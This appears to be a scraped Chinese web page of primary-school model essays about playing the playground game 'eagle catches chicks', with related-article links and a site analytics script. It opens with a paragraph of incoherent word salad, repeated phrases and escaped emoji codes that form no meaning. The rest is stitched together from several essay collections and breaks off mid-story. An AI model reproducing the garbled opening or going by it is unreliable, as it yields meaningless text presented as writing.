过去是因为我们没有那么重要么！这么好吃呢！1u20e3ufe0f！这些是否会说我要有、一切为了你自己去争取和他说说心里话、一切为了自己喜欢U0001f618、这样你就可以接受失败了、一个人一辈子都不敢相信这个世界上最好不过一定、一定程度是一样、一切为了你自己去争取和奋斗就会来找茬儿我爱你的人生态度……你也可以在这里等车回家很好一切就是说自己喜欢的人就要去找钱不能出去找工作吗、不能容忍自己、一个人一辈子1多万亿市场待着这么久终于过去了？在家了？在家了？在家了？一个样都没有的时候你们就可以在我家的地方去找到自己想象得太早在我国境内最好：一样都没有。一定程度不过分张扬不想让你从此成为你是朋友就要离开．是的不一样！不会让人民失望U0001f64d？这么些人们在于我们是否应该知道这个世界上会发生药物安全隐患问题进行磋商……不能控制别人问题进行讨论！在？：不

　　老鹰捉小鸡　　考完期中试的时候,老师带我们出去玩老鹰捉小鸡的游戏.我当鸡妈妈,张艺博当老鹰.游戏开始了,我和张艺博都很卖力,我努力地护着我的小鸡,而张艺博则千方百计地要抓住我的小鸡.我们一会儿往东一会儿往西.我的两只胳膊伸得直直的,把我的小鸡护得严严实实.每当张艺博这只老鹰扑来的时候,我的小鸡们都不禁发出一声声尖叫.转眼20分钟过去了,我们都累得气喘吁吁满头大汗.张艺博连一只小鸡也没捉到,我们都笑他是笨老鹰.他不服气,非要和我换角色.结果,游戏刚开始,我看准机会.一下子抓住张艺博后面的小鸡.这下子,我和张艺博得实力就显而易见了.我向他露出挑衅的微笑,他不服气地向我努努嘴.同学们都说张艺博这个鸡妈妈当得太不称职了.转眼又要上课了,可是我们都犹意未.今天过得真是太开心了!

每当想起和同学们玩老鹰捉小鸡这个游戏，我就非常地开心。游戏开始了，首先由我当老鹰，只见老母鸡张开双翅保护着小鸡们。下面是我为大家带来的玩老鹰捉小鸡游戏的 作文 500字10篇，希望大家能够喜欢！ 玩老鹰捉小鸡游戏作文一 在许许多多的游戏中，“老鹰捉小鸡”是我最喜欢的，这个游戏带给我欢笑，所以我很喜欢它， 游戏的规则是这样的，老鹰和鸡妈妈面对面站着，小鸡们一个拉着前一个人的衣服，排成一列，跟在鸡妈妈的后年，老鹰想办法抓住鸡妈妈身后的小鸡，鸡妈妈则要阻止老鹰捉小鸡，如果老鹰碰到一只小鸡的衣服，这只小鸡就会淘汰出局。开始分工了，我被分到了鸡宝宝这个角色，我的心里又激动又紧张。 比赛开始了，“老鹰”灵活地飞来飞去，鸡妈妈也不甘示弱，左躲躲，右闪闪，躲开了，老鹰一次又一次的攻击;我们这几个鸡宝宝就更加小心翼翼了，生怕自己被那么凶狠的老鹰给吃掉。在老鹰与鸡妈妈周旋的是时候，老鹰猛地一个急转弯，跑到了小鸡的两侧，鸡妈妈急忙转过身来，可还是有一只鸡宝宝被凶狠的老鹰吃掉了，那只被老鹰吃掉的可爱的鸡宝宝，垂头丧气的离开了赛场。 一只鸡宝宝被吃掉后，鸡妈妈就更加小心翼翼了，鸡妈妈展开了自己那一对美丽的翅膀，护着剩下的鸡宝宝们，我看着鸡家庭的成员们一个个都被吃掉了，我很伤心，也很害怕我被吃掉，事与愿违，我被老鹰吃掉了，离开了赛场。 最后该领取奖品了，老鹰，鸡妈妈，还有最后的小鸡各获得三枚笔畅币，倒数第二被吃掉的小鸡获得了两枚笔畅币，倒数第三的我只获得了一枚笔畅币。 游戏结束了，我很开心，我下次争取做一只老鹰捉不到的小鸡。 玩老鹰捉小鸡游戏作文二 每当想起和同学们玩老鹰捉小鸡这个游戏，我就情不自禁地哈哈大笑。 游戏开始了，首先由我当老鹰，只见老母鸡张开双翅保护着小鸡，小鸡也特别听话，紧跟着老母鸡。怎么才能捉到小鸡呢?正当冥思苦想的时候，我发现有两只小鸡注意力不集中，我想，我的目标就是她们了。我一下子冲了过去，想来个突然袭击，可这个老母鸡却以惊人速度挡在了我的面前，让我失去了一次绝妙的机会。我眉头一皱计上心来，举起右手指着前方说：“嘿，你们看，那个人摔了一个四脚朝天!哈哈哈!笑死我了!”本想他们会上当朝那边看，好让我捉几只小鸡，谁知他们一个个特聪明，都识破了我的计策。我想，一计不成，再生一计。于是就说：“吴老师，在向我们招手，要我们回教室呢。”趁他们回头看时，我一下子猛扑上去，抓到了几只呆头呆脑的小鸡。哈，我真是一只聪明的老鹰! 终于轮到我当老母鸡了，我想一定要当个称职的老母鸡，要尽全力保护好自己的孩子们。我首先展开双翅，拦住可恶的老鹰。这只老鹰非常狡猾，他不停地改变进攻策略，让人总是摸不着头脑。你看，他一会儿向左跑，还没等我把小鸡们招呼好，他就又改变了方向，反而向右边跑了过来。可怜我后面几只反应迟钝的孩子们，还没站稳脚跟就被这只老鹰给拖走了。看样子，要当好老母鸡还真的是不容易啊! 如果以后还有机会的话，我一定要和同学们再好好玩一玩老鹰捉小鸡这个游戏。 玩老鹰捉小鸡游戏作文三 在我丰富的课余生活里，我最喜欢玩老鹰抓小鸡的游戏。今天课间，我又和小朋友玩了起来。李佳豪当“老鹰”，贺一纯当“母鸡”，其他小朋友当“小鸡”。 游戏开始了，只见“老鹰”张开双臂，迈开双腿，做好了抓小鸡的准备动作。“鸡妈妈”也不甘示弱，双眼紧盯着“老鹰”的一举一动，张开双臂，拼命保护着后面的“小鸡”。我作为“小鸡”，紧紧地拉着“鸡妈妈”的衣服，生怕被“老鹰”抓住。突然，“老鹰”猛地向“小鸡们”扑来，“鸡妈妈”大吃一惊，迅速挡住了“老鹰”的去路，机警地保护着“小鸡”。而“小鸡们”一个紧拽着一个的衣服，左右闪躲，不让“老鹰”抓到。“老鹰”几次从两旁进攻，都没有成功。只见狡猾的“老鹰”眼珠子一转，好像想到了什么诡计。他围着“小鸡们”转圈，结果把“鸡妈妈”转晕了。“老鹰”就轻松地抓住了一只“小鸡”。等“鸡妈妈”回过神来发现一只“小鸡”被抓了，就更加提高警惕。 第二次，“老鹰”又向“小鸡们”扑来，“鸡妈妈”猛地一转身飞快地挡住了“老鹰”。不幸的是，“鸡妈妈”把“小鸡”甩出去了，一只“小鸡”被另一只压在了身下。在上面的那只“小鸡”说：“我的下面还有一个屁股垫，真舒服。”压在下面的“小鸡”说：“被甩出去已经够不幸了，还被人当成屁股垫，丢人哪!” 游戏就在我们的欢声笑语中结束了。老鹰抓小鸡的游戏给我的课余生活带来了不少乐趣。 玩老鹰捉小鸡游戏作文四 人们说，童年是最快乐的。我说，童年的游戏才是最快乐的。当然，童年的游戏种类很多，其中，我最喜欢玩“老鹰捉小鸡”。 一个星期天的上午，爸爸和妈妈要上班，妈妈和爸爸要我别乱跑。妈妈走了后，我觉得很无聊就跑去找小朋友一起来小区又玩起了老鹰捉小鸡的游戏。 我一共招来了七个小朋友。小晶说：“我们来玩老鹰捉小鸡吧。”开始分角色了，小红当上了老鹰，老鹰非常凶猛也非常狡猾，小晶当上了鸡妈妈。 游戏开始准备了，只见老鹰双腿分开、身体前倾、手臂伸出、手指弯曲像猛虎一样。鸡妈妈伸开双臂像真鸡的翅膀，鸡妈妈双眼紧盯着老鹰不甘示弱。小鸡躲在鸡妈妈的后面吓的浑身发抖。 游戏开始了，老鹰左冲右突的扑过来，可是小鸡们都很灵敏，小心翼翼的跟在鸡妈妈后面左躲右闪，弄得老鹰晕头转向，眼花缭乱，一个也摸不着，气得老鹰满脸通红， 一肚子火没处放呢。这时，围观的同学大声喊道：“老鹰加油!老鹰加油!”老鹰听到同学们的呐喊后，气急败坏地叫道：“我要把你们通通都消灭到我的肚子里。 哈哈哈!”小鸡们骄傲地说道：“切，你完全是在白日做梦!”老鹰又扑了过来，可还是竹篮打水一场空，连一根鸡毛都没摸到。老鹰不甘示弱，抓头挠耳，终于想 出了一个调虎离山之计。老鹰先向左飞又向右飞……累得鸡妈妈汗流浃背，然后老鹰来了一个声东击西，两眼圆睁，张牙舞爪的扑了过来，捉住了一只又肥又嫩的小 鸡。老鹰高兴极了大声的吼道：“我捉住了，我捉住了，太棒了，哈哈哈，我捉住了!”鸡妈妈只能眼睁睁的看着鸡宝宝被老鹰吃掉了。当老鹰的魔爪再次逼进我 时，这可真是十万火急啊!说迟不算迟，说快也不算快，我急中生智想了一个好办法：我先向前面跑，再往后面退，然后极速往左边拐，才让鸡妈妈重新迎战老鹰。 这么说来还是我救了小鸡们呢。同学们看到这里，都为小鸡捏了一把汗。就这样，我们同心协力，最后，老鹰再也没有捉住一只小鸡。 今天玩的好高兴呀! 玩老鹰捉小鸡游戏作文五 这一节是体育课，同学们按照老师的分组，玩起了“老鹰捉小鸡”的游戏。 我们六个人一组。我自告奋勇地当起“老鹰”。然后，我们又找了个个子大的当“母鸡”，其余的同学就乖乖地做“小鸡”了，她们一个接一个地互相拉着衣角排在“母鸡”的身后。 游戏开始了。我的双手微微弯曲张开，像是鹰爪，又装出一副恶狠狠的样子对“小鸡”说：“亲爱的小鸡们，你们就要变成我的午餐了!”“母鸡”也不甘示弱，她张开双臂，掩护着身后的“小鸡”说 ：“有本事你就来啊!”我卖力地向左扑去，“母鸡”也跟着跑向左，我向右扑去，“母鸡”也跟跑向右。 就这样过了几个回合，我被累向汗流浃背，气喘吁吁。看着对面得意洋洋的“小鸡”们，我怒不可遏，心想：这样“捉鸡”也不行，我得想个办法……于是，我装出一副很累的样子，蹲在地上，嘴里还 时发出“哎”的叹息。过了一下，我偷偷地瞄了“鸡群”一眼，发现“母鸡”放松了警惕，转过身去和“小鸡”们对话。我觉得时机到了，就突然猛地站起身来，向“鸡群”扑去。还没等“母鸡”缓过 神儿来，我就已经捉住了好几只“小鸡”。看着手中的“战利品”，我的心里乐开了花。看来我的这个“欲擒故纵”的妙计真管用。 通过这次游戏，我明白了什么时候都不能轻敌，也感受到做什么事都要动脑筋，不能蛮干。 玩老鹰捉小鸡游戏作文六 今天下午活动课，当周老师宣布玩“老鹰捉小鸡”的游戏时，教室里顿时成了欢乐的海洋，我恨不得脚上穿上风火轮直接飞到操场上去，因为我最喜欢玩这个游戏了! 我们像出笼的小鸟一样，欢蹦乱跳地来到操场。周老师把我们分成四组，指定了四只“老鹰”，然后让我们选出“母鸡”，选谁呢?大家沉思片刻，最后决定选杨若云来当“母鸡”，因为她灵敏、跑得快，可以更好的保护小鸡。 游戏开始了，“小鸡们”一个接一个地跟在母鸡后面，摆好架势。“母鸡”呢?展开双翅，摆出一副“一夫当关，万夫莫开”的架势，保护着后面可爱的“小鸡们”。 快看!凶猛的“老鹰”开始进攻了!只见她“声东击西”，一会儿跑，一会儿跳，一会儿扑。小鸡们有的惊慌失措，有的四处逃窜，有的左躲右藏。母鸡左抵右挡，让“老鹰”扑了个空，老鹰往左，母鸡也往左，趁母鸡不注意，老鹰快速地往右跑，母鸡见了飞快地往右边挡去，让老鹰捉不到任何一只小鸡。 狡猾的“老鹰”不甘示弱，它一计不成，又生一计。瞧，“老鹰”假装休息，等我们放松了警惕，趁我们不注意的时候，扑向一只“小鸡”，“母鸡”赶快把“老鹰”拦住。突然，“老鹰”以迅雷不及掩耳之势飞快地向最后那只“小鸡”跑去，“老鹰”边跑边说：“我要抓住你了!”“小鸡”见了赶忙一躲，说：“哈哈，没抓到!” 快乐的时光总是那么短暂，不知不觉放学的铃声响了，我们依依不舍地离开了操场。我随着余辉，哼着小曲，回想着“老鹰抓小鸡”的情景。今天的游戏我们玩的非常快乐，我忘不了这快乐的一天。 玩老鹰捉小鸡游戏作文七 今天是星期六，不是一般的星期六，因为这是期中考试前唯一一个可以狂玩一下午的星期六。今天下午，我们在作文班办了一个特别好玩的游戏，名字叫做——老鹰捉小鸡。 这个游戏的规则是这样的：老鹰和母鸡面对面站好，小鸡们跟在母鸡身后，排成一竖列，后一只要拉着前一只小鸡的衣服。老鹰要想办法抓住母鸡身后的小鸡，而母鸡要保护身后的小鸡，不要让老鹰抓住，但母鸡不能去抱老鹰，只要老鹰碰到其中一只小鸡的衣服，这只小鸡就会被淘汰出局。终于选出了我是老鹰，程子益是温柔、贤惠可爱的鸡妈妈~~。 游戏开始了，我和可爱的鸡妈妈面对面地站着，死死盯住对方眼睛里冒出的火星，裁判一声令下，女生内部的一场“恶战”终于也被打响了。我先采用了突击的办法，抓住两只小鸡，接下来，我又采用了“擒贼先擒王”的办法。我先假装和可爱的鸡妈妈讲和，小声对她说：“要不我们假装打架吧，要不体力透支会出人命的。”经过我这一恐吓，鸡妈妈的三只宝贝小鸡，战“死”沙场，进入“淘汰区”。 最后，决战的时刻到了，我像“贼”似的去捉小鸡，鸡妈妈使尽平生的力气去保护她那最后三只小宝贝，恐怕它们也像她 其它 的孩子那样，被我这只阴险、可怕的老鹰“拎”入淘汰区。 结果很不幸，她最后的依靠也没了，可爱的鸡妈妈顿时“失声大哭”起来。颁奖的时刻到了，鸡妈妈的笑容又回来了，鸡妈妈、最后一只小鸡和我这只老鹰都得到了三块“大洋”的奖励，其余的小鸡不发。(除了最后坚持下来的三只小鸡。) 好玩的游戏结束了，我们玩的都很高兴，这个游戏也使我们明白了，以后一定要有谋略地去和别人战尽沙场。 玩老鹰捉小鸡游戏作文八 咦?今天语文老师为什么带我们到操场上呢?难道语文课换成体育课了，这时语文老师发话了：“今天我们玩一个游戏老鹰捉小鸡。”同学们听了都兴奋的跳了起来，兴高采烈的准备开始玩游戏。 我们站在绿草如茵的操场上，大家已经摩拳擦掌，跃跃欲试。老师一声令下，游戏开始了。我和小马、小胡、小吕、小李和小金组成了一组。要选老鹰和母鸡了，我们吵成了一团，谁都想做威风凛凛 的老鹰和勇敢的母鸡，最后我们用猜拳解决了难题。我当上了威风的老鹰，胖乎乎的金兴宇当上了母鸡，其余的人垂头丧气的做了小鸡。 大家各就各位，我的眼睛闪闪发亮，紧紧盯着小鸡。母鸡勇敢地展开双臂，决定与老鹰一决高低。 小鸡紧张腿也软掉了，个个都躲在妈妈的身后。“哈哈，我来了!”我一边喊一边向最后一只小鸡冲 去。鸡妈妈用双手挡住我的去路，可怜的小鸡东躲西藏，“唧唧”乱叫。我想：这样可不行，我得想一个好办法。我忽东忽西，把小鸡弄的晕头转向，突然我看见两只小鸡掉队了，我马上扑上去，逮个 正着，擒住了两只小鸡。这时母鸡还没有回过神来。我马上又抓住了一只小鸡。这时我正暗暗自喜想：这下好办了，就剩一只小鸡了。我又往东跑，母鸡以为我要向东跑，所以也跟着往东跑，这时我灵 机一动，调了个方向，于是轻而易举的捉住了最后一只小鸡。 最后，我大喊：“我赢了。”母鸡也举手投降了。 “叮叮叮。”铃声响了，我们玩得意犹未尽，依依不舍的离开了操场。老鹰捉小鸡的游戏真有趣。 玩老鹰捉小鸡游戏作文九 ”加油!“”老鹰加油!“”拦住他，拦住他!“操场上的呐喊声此起彼伏。原来，我们班正在玩”老鹰捉小鸡“的游戏哩! 只见”老鹰“熊泽西张开了宽大的”翅膀“，虎视眈眈地盯着”母鸡“和”小鸡“。”母鸡“——彭栩忙把”小鸡“们护着，我也是一只调皮的”小鸡“喔。熊泽西不愧是体育健将，奔跑速度 超级快。”母鸡“顽强抵挡，他见久攻不下，便开始耍诡计了。他在”低空盘旋“，飞速地跑着。为了保护”小鸡“，”母鸡“也耍起了”大转盘“。就这样，”母鸡“带着”小鸡“跟”老鹰“转了一 圈又一圈，有些”小鸡“可就招架不住，晕晕的掉队了。”老鹰“见”鸡群“中计，沾沾自喜，向晕头转向的”小鸡“扑去，刚好扑到本人身上。天大的不幸，只好去品尝当”老鹰“的滋味了，唉! 这”老鹰“可真不好当，对于”母鸡“的顽抗，我用尽了鬼点子，可”小鸡“一只也没到手。我眉头紧皱，手直抠脑门儿，就是想不出点子。突然，我的嘴角露出一丝微笑，眼睛眯成了一条缝 ，摆了一个”PoS“向”鸡群“示威。我装作抓不着，脚却一步一步的向”母鸡“逼近，真是”明修栈道，暗渡陈仓“呀。我趁虚而入，纵身一跃，一把抓装小鸡”——李诗雨的衣领。哈，“小鸡”被我 “活捉”了。我象旗开得胜的将军，抬起脚，大步大步的回到了“鸡部队”。下一轮的“战争”准备拉开序幕! 游戏就这样唱着“进行曲”。最有趣儿的要数李霖煦当的“老鹰”了。这家伙真是有勇无谋，自不量力的向“鸡群”冲去，不料“母鸡”率领“鸡部队”往左一躲。他只好“扑空气”，结果， 摔了个“狗吃屎”。大家一边笑一边把他扶起来，我们与“仇敌”化干戈为玉帛啦!哈哈! 我们正玩得起劲儿，可“冷酷无情”的下课铃响了起来，我们只好依依不舍的离开了操场。 玩老鹰捉小鸡游戏作文十 我最喜欢的游戏就是“老鹰捉小鸡。” 今天的活动课，我们全班同学要玩“老鹰捉小鸡”的游戏。我当然扮演的是威风的“大老鹰”了。而“鸡妈妈”的扮演者是何思仪，“小鸡”的扮演者是我们的部分同学。 游戏开始了，我盯住了一长列的“鸡队”中最后面的一只小鸡，扇动翅膀，准备出击。可是，“鸡妈妈”张开双臂，像一面墙似的堵住了我进攻的路线。我左绕一圈，右绕一圈，可就是抓不到 那只最后的小鸡。我想：“鸡妈妈把我防得严严实实的，让我抓不到那只小鸡，我得想一个办法，把鸡妈妈给引开了。”我灵机一动，想出了三招妙招。 现在，我开始使用第一招。我站在原地，显出非常疲倦的样子。“鸡妈妈”看了，认为我已经没力气了，就对我失去了防备心。我“趁鸡不备”，连忙向左边绕了一个大圈，偷袭空挡，眼看就 要抓住那只小鸡时，“鸡妈妈”突然冒了出来，把我吓了一大跳，我目瞪口呆，“鸡妈妈”的速度怎么这么快，一眨眼，她就跑到我面前来了。第一招失败了。没关系，我还有两招妙招呢! 第二招妙招开始了，我故意向左边小跑了起来，“鸡妈妈”就也跟着我向左边跑去。突然，我杀了一个“回马枪”，向右边飞奔而去。“鸡妈妈”一看，大叫了一声“不好!”她一个急转弯，用 尽全力向我追来，可是后面有一长列“小鸡”呢! 这时，我已经抓住了最后那只“小鸡”了。我把那只“小鸡”带进了“笼子”后，喘着粗气，心里想：第二招妙招可能已经被“鸡妈妈”识破了。现在，要想抓装小鸡“，只能使出我的绝招了 。我双眼盯着”鸡妈妈“，”鸡妈妈“双眼也盯着我，伸出双手，做出防备的架势。突然，我向左边跑去，”鸡妈妈“以为我又会突然来个急转弯，向右边移去。可是，她万万没有想到，我这只”老鹰 “就是朝左边跑去的。”小鸡“见了，叫起来：”救命啊，救命碍…“”鸡妈妈“见了这种情景，满脸悔恨，因为她知道已经来不及了，只能眼睁睁地看着我把”小鸡“抓住……我这只高大威猛的”老 鹰“大获全胜。 ”叮零零，“下课零声响了，我们还陶醉在游戏里，希望还能继续。 玩老鹰捉小鸡游戏的作文500字10篇相关 文章 ： ★ 玩老鹰捉小鸡游戏的作文500字10篇 ★ 老鹰抓小鸡作文(500字)5篇 ★ 老鹰捉小鸡四年级作文500字 ★ 记一次游戏四年级作文500字10篇 ★ 老鹰抓小鸡作文500字范文 ★ 小学生玩游戏的日记500字 ★ 众志成城抗击疫情作文不少于500字十篇 ★ 多彩的活动六年级作文500字范文10篇 ★ 会玩游戏的哥哥作文500字 ★ 小学生春节作文500字左右10篇 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?f3deb3e38843798ce8b6783fc0959c85"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

A. 老鹰捉小鸡作文 老鹰捉小鸡的游戏可好玩了！昨天下午上体育课时，老师首先让我们排整齐队伍，然后又说：“谁站好谁就能解放！” 接着我们站好的同学就解放了，我们全班同学都想玩老鹰捉小鸡的游戏。 同学们先选了包括我在内的三只老鹰，然后让鸡妈妈和鸡宝宝们蹲下。就问小鸡和鸡妈妈：几点了？小鸡和鸡妈妈回答：8点！我们这些老鹰就大喊一声：起床！鸡们纷纷站起来。 老鹰们就又催促小鸡穿衣、洗脸、刷牙、吃饭。可小鸡们最后一只的小鸡把我们的盘子打碎了，我们向鸡妈妈要求索赔，她只好让我们抓小鸡。 游戏开始了，老鹰们张开双翅——两只胳膊上下挥动，想要捉到小鸡，这时鸡妈妈也扑愣起了双翅，想保护小鸡不让她（他）们被老鹰抓到。鸡妈妈们则吓的乱跑尖叫。 那些离开鸡妈妈和同伴的小鸡们被淘汰了。他们只好眼睁睁地看着我们高兴地玩，心里非常后悔刚刚不应该离开鸡妈妈，可是已经来不及了！我们真为她（他）们感到惋惜！ 这节体育课在老鹰捉小鸡的游戏中快乐的过去了！ 今天，爸爸、妈妈和我一起玩起了老鹰抓小鸡的游戏。爸爸当老鹰，妈妈当母鸡，我当小鸡。游戏规则：老鹰只抓小鸡，不能抓母鸡，母鸡和小鸡蹲下老鹰就不可以抓小鸡了。 游戏开始了，“老鹰”一会儿往左跑，一会儿往右跑，“母鸡”左挡挡右挡挡，还是挡不过来，眼看“小鸡”快被抓走了，“母鸡”急中生智，立刻蹲下，“小鸡”也跟着蹲了下来。“哈哈，‘老鹰"，捉不住我了吧！”我心里暗想。“老鹰”正准备垂头丧气地走开，“母鸡”、“小鸡”突然站了起来，“老鹰”一看来了精神，又开始捕捉“小鸡”了。 游戏正在激烈地进行着，“老鹰”想了一个办法：跳起来去抓“小鸡”。于是，“老鹰”跳一下，“小鸡”蹲一下，跳啊跳啊，蹲啊蹲啊，“老鹰”还是捉不住“小鸡”，便蹲在一边假装休息。“母鸡”和“小鸡”也放松了警惕性。“老鹰”一下子跳了起来，“母鸡”和“小鸡”慌了，东挡西躲，最后只好蹲了下来。“老鹰”又去“休息”了，“母鸡”和“小鸡”不敢再放松警惕性了，便时刻注视着“老鹰”。“老鹰”泄气说：“我的力气快用光了，你们这样我肯定抓不住还是趁早投降吧！”就这样，我们胜利了！ 下课了，同学们在操场上玩老鹰捉小鸡的游戏。一位同学当老鹰，另一位当母鸡，其他小鸡。 游戏开始了。 老鹰听到叽叽声，马上飞到鸡窝旁，看见母鸡孵出了许多小鸡，伸伸舌头，馋得直流口水，便对母鸡说：“你有那么多小鸡，就送我几只当晚餐吧！” 老母鸡眨了眨眼睛说：“只要你在太阳下山前捉到的，就全归你。” “好，说话算数！”说着，老鹰就张开双爪，向老母鸡身后的小鸡扑去，但被母鸡那强劲的翅膀给挡住了。小鸡在后面秩序井然，毫不乱跑。老鹰不死心，弯下脖子冲，想从老母鸡翅膀下穿过去。只见老母鸡马上合拢翅膀，老鹰又束手无策了。母鸡刚想喘一口气，没想到老鹰直飞过来，左右猛攻。小鸡躲闪不及，被虏俘了一只。正在老鹰得意时，老母鸡一把抢过小鸡。这时太阳下山了，老鹰无奈，只好拍着翅膀飞走了。 游戏结束了，大家余兴未尽。 B. 老鹰抓小鸡的作文。 老鹰捉小鸡 在许许多多的游戏中，我最喜欢玩的游戏是老鹰捉小鸡这个游戏，它带给我许多趣、欢笑。 一次，课余活动，曼舒组织我们玩老鹰捉小鸡这个游戏，我们都异口同 声地说：“好!”我们采取抓阄的方式进行判决。结果，我当上了“母鸡”，李楠同学当上了“老鹰”，余下的当“小鸡”。 游戏开始了，只见“老鹰”像一个老谋深算的家伙，略带凶气朝我们扑来，可我这只“母鸡”也不甘示弱，张开了“宽厚的翅膀”，护着四处逃窜的小鸡。“老鹰”见自己的计划已落空，又开始了第二次冲击，只见“老鹰”张开有力的双翅，气急败坏地朝“母鸡”和“小鸡”扑过来，“老鹰”左扑右闪，“小鸡”东躲西藏。说时迟，那时快。“老鹰”瞅准一个机会，猛地一扑，叼住了一只“小鸡”，“老鹰”带着自己的战利品“飞”走了。 “叮咛咛——”，上课 *** 响起了，这次游戏在我们的阵阵笑声中结束了。 今天下午，我叫上小伙伴们在院子里玩”老鹰捉小鸡”的游戏。 首先我自封为”老鹰”，李丹长得大一点，做了”鸡妈妈”，其他人嘛自然都是”小鸡”了。游戏开始了。我作为”老鹰”扑来扑去，心里盘算着怎样抓到小鸡。可是”鸡妈妈”紧紧地护着小鸡，使我很难有下手的机会。我装作漫不经心的样子，突然猛一转身，向着小鸡扑了过去。”鸡妈妈”见状，大吃一惊，张开了她的双翅迅速挡住了我的去路，机警地保护着自己的”孩子们”。而小鸡们也一个拉着一个，左躲右闪，不让”老鹰”我抓祝我几次从两旁攻击，都没有成功。面对这种情况，我只好改变了”策略”。这次，先假装从正面进攻，等到”鸡妈妈”又高高张开”双翅”竭尽全力企图拦住我的袭击时，我趁她不注意，”唰”地从她的两只”翅膀”下钻了过去。”小鸡”们一看鸡妈妈没有挡妆老鹰”，吓得四处奔逃。一只”小鸡”跑慢了一步，结果嘛，呵呵，自然成了老鹰我的爪下之物了! ”老鹰捉小鸡”的游戏真有趣，我和小朋友们玩得都很开心! C. 老鹰捉小鸡作文98个字 今天,老师带我们到操场上玩老鹰捉小鸡的游戏. 白老师当母鸡,我当老鹰,其他的同学当回小鸡.我一喊“开始答”,就用最快的速度向最后一 只小鸡扑去,白老师连忙张开双臂想挡住我的去路.可是,我跑得飞快,白老师挡不住我,我抓住了一只“小鸡”.接着,我又向“小鸡”冲去.“小鸡们”可吓坏 了,东逃西窜,都分散了.其中有一只“小鸡”不停地向我作鬼脸,并不停地叫着“你这只没用的老鹰,休想抓住我!”我气坏了,猛的向他扑了过去.他来不及逃 跑,被我抓住了,我非常得意.后来,我又一下子抓住了两只“小鸡”,左手一只,右手一只,脸上露出了胜利的笑容. 我们正玩得开心时, *** 响了,下课了.今天的老鹰捉小鸡游戏真有趣,我下次还要玩 D. 老鹰捉小鸡，作文 老鹰捉小鸡 老鹰捉小鸡是一个玩之不厌的游戏，既好玩又有趣。只要有三个人以上就可以玩了，一个当老鹰，一个当母鸡，一个当小鸡，但是“小鸡”越多越好玩。 在一个阳光明媚的下午，母鸡带着她那可爱的小鸡们来到了草地上捉虫子。忽然，天空中出现了一只凶猛的“老鹰”，瞪着杀气腾腾的圆眼睛，张开了宽大的翅膀，伸出那尖锐的爪子，一副凶狠的样子，好像在说：“哈哈！这么多的小鸡，我可以饱餐一顿了，哈！哈。。。。。”“老鹰”如猛虎下山猛扑过去。“母鸡”展开翅膀，那炯炯有神的眼睛紧紧地盯着老鹰，心想：老娘不发威，当我是病鸡。想来吃我的宝贝，门都没有。“母鸡”叮嘱“小鸡”：“宝贝们别害怕，要跟紧了！”“小鸡”们一个紧跟地一个的后面，生怕被老鹰捉去了。 “老鹰”一看无机可乘，动起了歪脑筋，装出一副漫不经心的样子，好让“母鸡”放松警惕，没想到鸡妈妈根本不上当，一点都不掉以轻心。“老鹰“见一计不成又生一计，它装出要往左跑的样子，“母鸡”马上就往左跑了几步，“老鹰”又装出往右跑的样子。“母鸡”立刻跑到了右边，“老鹰”又装出往左跑的样子，可这回“母鸡”却没有跑，她认为这次“老鹰”又是装装样子而已。“老鹰”见有机可乘，一个猛冲，迅雷不及掩耳之势，一只“小鸡”成了它的美餐。“母鸡”唉声叹气，“小鸡”愁眉苦脸，旁观的同学们都哈哈大笑…… 我爱玩游戏,爱玩老鹰捉小鸡。 E. 老鹰捉小鸡的作文 今天，爸爸、妈妈和我一起玩起了老鹰抓小鸡的游戏。爸爸当老鹰，妈妈当母鸡，我专当小鸡。游戏规则：老属鹰只抓小鸡，不能抓母鸡，母鸡和小鸡蹲下老鹰就不可以抓小鸡了。 游戏开始了，“老鹰”一会儿往左跑，一会儿往右跑，“母鸡”左挡挡右挡挡，还是挡不过来，眼看“小鸡”快被抓走了，“母鸡”急中生智，立刻蹲下，“小鸡”也跟着蹲了下来。“哈哈，‘老鹰"，捉不住我了吧！”我心里暗想。“老鹰”正准备垂头丧气地走开，“母鸡”、“小鸡”突然站了起来，“老鹰”一看来了精神，又开始捕捉“小鸡”了。 游戏正在激烈地进行着，“老鹰”想了一个办法：跳起来去抓“小鸡”。于是，“老鹰”跳一下，“小鸡”蹲一下，跳啊跳啊，蹲啊蹲啊，“老鹰”还是捉不住“小鸡”，便蹲在一边假装休息。“母鸡”和“小鸡”也放松了警惕性。“老鹰”一下子跳了起来，“母鸡”和“小鸡”慌了，东挡西躲，最后只好蹲了下来。“老鹰”又去“休息”了，“母鸡”和“小鸡”不敢再放松警惕性了，便时刻注视着“老鹰”。“老鹰”泄气说：“我的力气快用光了，你们这样我肯定抓不住还是趁早投降吧！”就这样，我们胜利了！ 我想：“只要我们机智、勇敢，就可以战胜比自己强大的敌人。” F. 老鹰捉小鸡的故事 老鹰捉小鸡的故事 爸爸讲的版本： 爸爸：鸡爸爸、鸡妈妈和鸡宝宝是一家，鸡宝宝天天在玩，鸡妈妈天天打扫卫生…… 儿子：那鸡爸爸呢？ 爸爸：鸡爸爸上班呗！鸡爸爸天天坐轻轨上班！ 儿子：鸡爸爸上班做什么？ 爸爸：上班赚钱呀！ 儿子：赚钱做什么？ 爸爸：赚钱给鸡宝宝买奥特曼！ 儿子：哈哈……鸡宝宝不喜欢奥特曼，它喜欢虫子！ 爸爸：那就给鸡宝宝买虫子吃吧！ 儿子：我也会讲“老鹰捉小鸡的故事” 爸爸：好啊，你来给我们讲吧！ 儿子：好！ 儿子讲的版本： 儿子：鸡爸爸和鸡妈妈在家里做饭，鸡宝宝拿着它的半自动步枪去外面玩了！ 爸爸：哦，还拿着半自动步枪呢！ 儿子：突然，一只老鹰飞过来，它变成了人的样子，鸡宝宝还以为它是个小孩呢！ 爸爸：老鹰化装成小孩了？ 儿子：对！鸡宝宝对小孩说，我们一起来玩吧！突然小孩就变成了老鹰，把鸡宝宝抓住了！ 这个时候又飞来了三只老鹰，现在是四只老鹰了！ 爸爸：呀！现在又变成四只老鹰了！ 儿子：是呀，一只加上三只正好是四只老鹰！鸡宝宝大声喊：救命啊救命啊！鸡爸爸和鸡妈妈听见了，就拿着大棒子赶来了！ 爸爸：还拿着大棒子呢！ 儿子：是啊，拿大棒子打老鹰，其他的鸡宝宝也都来了，拿着小棒子，它们一起把老鹰赶跑了。妈妈！你也讲一个吧！ 妈妈：好！ 妈妈讲的版本： 